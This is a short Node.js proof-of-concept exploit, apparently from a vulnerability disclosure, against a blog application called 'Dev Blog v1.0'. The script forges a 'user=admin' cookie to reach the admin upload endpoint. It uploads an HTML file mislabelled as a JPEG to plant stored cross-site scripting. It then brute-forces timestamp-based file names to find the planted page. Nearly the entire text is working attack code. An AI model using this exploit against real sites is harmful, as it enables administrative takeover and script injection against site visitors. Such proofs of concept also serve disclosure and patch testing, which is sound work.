Dev Blog v1.0 - Stored XSS

const FormData = require('form-data');
const axios = require('axios');
const fs = require('fs');

const url = 'http://127.0.0.1:3000/admin/add';

const formData = new FormData();

formData.append('title', 'junk');
formData.append('subtitle', 'junk');
formData.append('image', fs.createReadStream('./exploit.html'), {
 filename: 'exploit.html',
 contentType: 'image/jpeg'
});
formData.append('content', 'junk');

const config = {
 headers: {
 ...formData.getHeaders(),
 'Content-Length': formData.length,
 'Cookie': 'user=admin',
 },
};

initialDate = Date.now()

axios.post(url, formData, config)
 .then((response) => {
 endDate = Date.now()

 const baseUrl = 'http://127.0.0.1:3000/images/';
 const fileExtension = '.html';

 for (let currentTime = initialDate; currentTime <= endDate; currentTime += 1) {
 const badUrl = `${baseUrl}${currentTime}${fileExtension}`;
 fetch(badUrl)
 .then(response => {
          if (response.ok) {
            console.log("The file name is: " + badUrl);
          }
        })
    }
  })